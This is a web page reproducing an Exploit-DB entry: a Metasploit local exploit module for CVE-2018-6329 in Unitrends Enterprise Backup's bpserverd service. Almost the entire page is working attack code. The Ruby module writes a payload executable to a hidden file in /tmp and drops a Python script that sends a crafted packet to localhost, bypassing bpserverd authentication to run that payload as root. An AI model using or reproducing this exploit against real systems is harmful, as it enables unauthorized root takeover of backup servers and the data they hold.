Unitrends Enterprise Backup – bpserverd Privilege Escalation (Metasploit)

  • 作者: Metasploit
    日期: 2018-11-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45913/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
    Rank = ExcellentRanking
    
    include Msf::Post::File
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    
    def initialize(info={})
    super(update_info(info, {
    'Name' => 'Unitrends Enterprise Backup bpserverd Privilege Escalation',
    'Description'=> %q{
    It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd,
    has an issue in which its authentication can be bypassed.A remote attacker could use this
    issue to execute arbitrary commands with root privilege on the target system.
    This is very similar to exploits/linux/misc/ueb9_bpserverd however it runs against the
    localhost by dropping a python script on the local file system.Unitrends stopped
    bpserverd from listening remotely on version 10.
     },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Cale Smith', # @0xC413
    'Benny Husted', # @BennyHusted
    'Jared Arave', # @iotennui
    'h00die' # msf adaptations
    ],
    'DisclosureDate' => 'Mar 14 2018',
    'Platform' => 'linux',
    'Arch' => [ARCH_X86],
    'References' =>
    [
    ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000005691'],
    ['URL', 'http://blog.redactedsec.net/exploits/2018/04/20/UEB9_tcp.html'],
    ['EDB', '44297'],
    ['CVE', '2018-6329']
    ],
    'Targets'=>
    [
    [ 'UEB <= 10.0', { } ]
    ],
    'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 2 },
    'SessionTypes' => ['shell', 'meterpreter'],
    'DefaultTarget'=> 0
    }
    ))
    register_advanced_options([
    OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"]),
    OptInt.new("BPSERVERDPORT", [true, "Port bpserverd is running on", 1743])
    ])
    end
    
    def exploit
    
    pl = generate_payload_exe
    exe_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
    print_status("Writing payload executable to '#{exe_path}'")
    
    write_file(exe_path, pl)
    #register_file_for_cleanup(exe_path)
    
    pe_script = %Q{
    import socket
    import binascii
    import struct
    import time
    import sys
    
    RHOST = '127.0.0.1'
    XINETDPORT = #{datastore['BPSERVERDPORT']}
    cmd = "#{exe_path}"
    
    def recv_timeout(the_socket,timeout=2):
    the_socket.setblocking(0)
    total_data=[];data='';begin=time.time()
    while 1:
    #if you got some data, then break after wait sec
    if total_data and time.time()-begin>timeout:
    break
    #if you got no data at all, wait a little longer
    elif time.time()-begin>timeout*2:
    break
    try:
    data=the_socket.recv(8192)
    if data:
    total_data.append(data)
    begin=time.time()
    else:
    time.sleep(0.1)
    except:
    pass
    return ''.join(total_data)
    
    print "[+] attempting to connect to xinetd on {0}:{1}".format(RHOST, str(XINETDPORT))
    
    try:
    s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s1.connect((RHOST,XINETDPORT))
    except:
    print "[!] Failed to connect!"
    exit()
    
    data = s1.recv(4096)
    bpd_port = int(data[-8:-3])
    
    try:
    pass
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2.connect((RHOST, bpd_port))
    except:
    print "[!] Failed to connect!"
    s1.close()
    exit()
    
    print "[+] Connected! Sending the following cmd to {0}:{1}".format(RHOST,str(XINETDPORT))
    print "[+] '{0}'".format(cmd)
    
    cmd_len = chr(len(cmd) + 3)
    packet_len = chr(len(cmd) + 23)
    
    #https://github.com/rapid7/metasploit-framework/blob/76954957c740525cff2db5a60bcf936b4ee06c42/modules/exploits/linux/misc/ueb9_bpserverd.rb#L72
    packet = '\\xa5\\x52\\x00\\x2d'
    packet += '\\x00' * 3
    packet += packet_len
    packet += '\\x00' * 3
    packet += '\\x01'
    packet += '\\x00' * 3
    packet += '\\x4c'
    packet += '\\x00' * 3
    packet += cmd_len
    packet += cmd
    packet += '\\x00' * 3
    
    s1.send(packet)
    
    data = recv_timeout(s2)
    
    print data
    
    s1.close()
    }
    
    pes_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
    print_status("Writing privesc script to '#{pes_path}'")
    
    write_file(pes_path, pe_script)
    #register_file_for_cleanup(pes_path)
    
    print_status("Fixing permissions")
    cmd_exec("chmod +x #{exe_path} #{pes_path}")
    
    vprint_status cmd_exec("python #{pes_path} -c '#{exe_path}'")
    end
    
    end